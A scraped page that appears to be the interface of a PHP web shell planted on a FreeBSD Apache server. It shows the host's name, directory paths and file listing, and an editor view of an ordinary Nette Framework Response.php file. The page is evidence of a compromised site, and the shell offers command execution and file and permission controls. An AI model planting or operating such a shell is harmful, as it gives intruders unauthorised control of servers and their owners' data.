TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
vendor
nette
http
src
Http
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/vendor/nette/http/src/Http/Response.php
<?php /** * This file is part of the Nette Framework (https://nette.org) * Copyright (c) 2004 David Grudl (https://davidgrudl.com) */ namespace Nette\Http; use Nette; use Nette\Utils\DateTime; /** * HttpResponse class. */ class Response extends Nette\Object implements IResponse { /** @var bool Send invisible garbage for IE 6? */ private static $fixIE = TRUE; /** @var string The domain in which the cookie will be available */ public $cookieDomain = ''; /** @var string The path in which the cookie will be available */ public $cookiePath = '/'; /** @var string Whether the cookie is available only through HTTPS */ public $cookieSecure = FALSE; /** @var string Whether the cookie is hidden from client-side */ public $cookieHttpOnly = TRUE; /** @var bool Whether warn on possible problem with data in output buffer */ public $warnOnBuffer = TRUE; /** @var int HTTP response code */ private $code = self::S200_OK; public function __construct() { if (PHP_VERSION_ID >= 50400) { if (is_int($code = http_response_code())) { $this->code = $code; } } if (PHP_VERSION_ID >= 50401) { // PHP bug #61106 $rm = new \ReflectionMethod('Nette\Http\Helpers::removeDuplicateCookies'); header_register_callback($rm->getClosure()); // requires closure due PHP bug #66375 } } /** * Sets HTTP response code. * @param int * @return static * @throws Nette\InvalidArgumentException if code is invalid * @throws Nette\InvalidStateException if HTTP headers have been sent */ public function setCode($code) { $code = (int) $code; if ($code < 100 || $code > 599) { throw new Nette\InvalidArgumentException("Bad HTTP response '$code'."); } self::checkHeaders(); $this->code = $code; if (PHP_VERSION_ID >= 50400) { http_response_code($code); } else { $protocol = isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.1'; header($protocol . ' ' . $code, TRUE, $code); } return $this; } /** * Returns HTTP response code. * @return int */ public function getCode() { return $this->code; } /** * Sends a HTTP header and replaces a previous one. * @param string header name * @param string header value * @return static * @throws Nette\InvalidStateException if HTTP headers have been sent */ public function setHeader($name, $value) { self::checkHeaders(); if ($value === NULL) { header_remove($name); } elseif (strcasecmp($name, 'Content-Length') === 0 && ini_get('zlib.output_compression')) { // ignore, PHP bug #44164 } else { header($name . ': ' . $value, TRUE, $this->code); } return $this; } /** * Adds HTTP header. * @param string header name * @param string header value * @return static * @throws Nette\InvalidStateException if HTTP headers have been sent */ public function addHeader($name, $value) { self::checkHeaders(); header($name . ': ' . $value, FALSE, $this->code); return $this; } /** * Sends a Content-type HTTP header. * @param string mime-type * @param string charset * @return static * @throws Nette\InvalidStateException if HTTP headers have been sent */ public function setContentType($type, $charset = NULL) { $this->setHeader('Content-Type', $type . ($charset ? '; charset=' . $charset : '')); return $this; } /** * Redirects to a new URL. Note: call exit() after it. * @param string URL * @param int HTTP code * @return void * @throws Nette\InvalidStateException if HTTP headers have been sent */ public function redirect($url, $code = self::S302_FOUND) { $this->setCode($code); $this->setHeader('Location', $url); if (preg_match('#^https?:|^\s*+[a-z0-9+.-]*+[^:]#i', $url)) { $escapedUrl = htmlSpecialChars($url, ENT_IGNORE | ENT_QUOTES, 'UTF-8'); echo "<h1>Redirect</h1>\n\n<p><a href=\"$escapedUrl\">Please click here to continue</a>.</p>"; } } /** * Sets the number of seconds before a page cached on a browser expires. * @param string|int|\DateTime time, value 0 means no cache * @return static * @throws Nette\InvalidStateException if HTTP headers have been sent */ public function setExpiration($time) { $this->setHeader('Pragma', NULL); if (!$time) { // no cache $this->setHeader('Cache-Control', 's-maxage=0, max-age=0, must-revalidate'); $this->setHeader('Expires', 'Mon, 23 Jan 1978 10:00:00 GMT'); return $this; } $time = DateTime::from($time); $this->setHeader('Cache-Control', 'max-age=' . ($time->format('U') - time())); $this->setHeader('Expires', Helpers::formatDate($time)); return $this; } /** * Checks if headers have been sent. * @return bool */ public function isSent() { return headers_sent(); } /** * Returns value of an HTTP header. * @param string * @param mixed * @return mixed */ public function getHeader($header, $default = NULL) { $header .= ':'; $len = strlen($header); foreach (headers_list() as $item) { if (strncasecmp($item, $header, $len) === 0) { return ltrim(substr($item, $len)); } } return $default; } /** * Returns a list of headers to sent. * @return array (name => value) */ public function getHeaders() { $headers = array(); foreach (headers_list() as $header) { $a = strpos($header, ':'); $headers[substr($header, 0, $a)] = (string) substr($header, $a + 2); } return $headers; } /** * @deprecated */ public static function date($time = NULL) { return Helpers::formatDate($time); } /** * @return void */ public function __destruct() { if (self::$fixIE && isset($_SERVER['HTTP_USER_AGENT']) && strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE ') !== FALSE && in_array($this->code, array(400, 403, 404, 405, 406, 408, 409, 410, 500, 501, 505), TRUE) && preg_match('#^text/html(?:;|$)#', $this->getHeader('Content-Type', 'text/html')) ) { echo Nette\Utils\Random::generate(2e3, " \t\r\n"); // sends invisible garbage for IE self::$fixIE = FALSE; } } /** * Sends a cookie. * @param string name of the cookie * @param string value * @param string|int|\DateTime expiration time, value 0 means "until the browser is closed" * @param string * @param string * @param bool * @param bool * @return static * @throws Nette\InvalidStateException if HTTP headers have been sent */ public function setCookie($name, $value, $time, $path = NULL, $domain = NULL, $secure = NULL, $httpOnly = NULL) { self::checkHeaders(); setcookie( $name, $value, $time ? DateTime::from($time)->format('U') : 0, $path === NULL ? $this->cookiePath : (string) $path, $domain === NULL ? $this->cookieDomain : (string) $domain, $secure === NULL ? $this->cookieSecure : (bool) $secure, $httpOnly === NULL ? $this->cookieHttpOnly : (bool) $httpOnly ); Helpers::removeDuplicateCookies(); return $this; } /** * Deletes a cookie. * @param string name of the cookie. * @param string * @param string * @param bool * @return void * @throws Nette\InvalidStateException if HTTP headers have been sent */ public function deleteCookie($name, $path = NULL, $domain = NULL, $secure = NULL) { $this->setCookie($name, FALSE, 0, $path, $domain, $secure); } /** @internal @deprecated */ public function removeDuplicateCookies() { trigger_error('Use Nette\Http\Helpers::removeDuplicateCookies()', E_USER_WARNING); } private function checkHeaders() { if (headers_sent($file, $line)) { throw new Nette\InvalidStateException('Cannot send header after HTTP headers have been sent' . ($file ? " (output started at $file:$line)." : '.')); } elseif ($this->warnOnBuffer && ob_get_length() && !array_filter(ob_get_status(TRUE), function ($i) { return !$i['chunk_size']; })) { trigger_error('Possible problem: you are sending a HTTP header while already having some data in output buffer. Try Tracy\OutputDebugger or start session earlier.', E_USER_NOTICE); } } }
Crotin
Name
Size
Permissions
Modified
User/Group
Helpers.php
1875
0644
2016-02-27 09:37:52
Unknown/Unknown
IRequest.php
2707
0644
2016-02-27 09:37:52
Unknown/Unknown
RequestFactory.php
7085
0644
2018-07-10 17:51:50
Unknown/Unknown
IResponse.php
3726
0644
2016-02-27 09:37:52
Unknown/Unknown
Request.php
6797
0644
2016-02-27 09:37:52
Unknown/Unknown
UrlScript.php
1439
0644
2018-07-10 17:51:50
Unknown/Unknown
FileUpload.php
3909
0644
2018-07-10 17:51:50
Unknown/Unknown
SessionSection.php
4749
0644
2018-07-10 17:51:50
Unknown/Unknown
Response.php
8003
0644
2018-07-10 17:51:51
Unknown/Unknown
Context.php
1985
0644
2016-02-27 09:37:52
Unknown/Unknown
Url.php
10176
0644
2018-07-10 17:51:51
Unknown/Unknown
ISessionStorage.php
518
0644
2016-02-27 09:37:51
Unknown/Unknown
Session.php
13003
0644
2018-07-10 17:51:50
Unknown/Unknown
UserStorage.php
4553
0644
2018-07-10 17:51:51
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin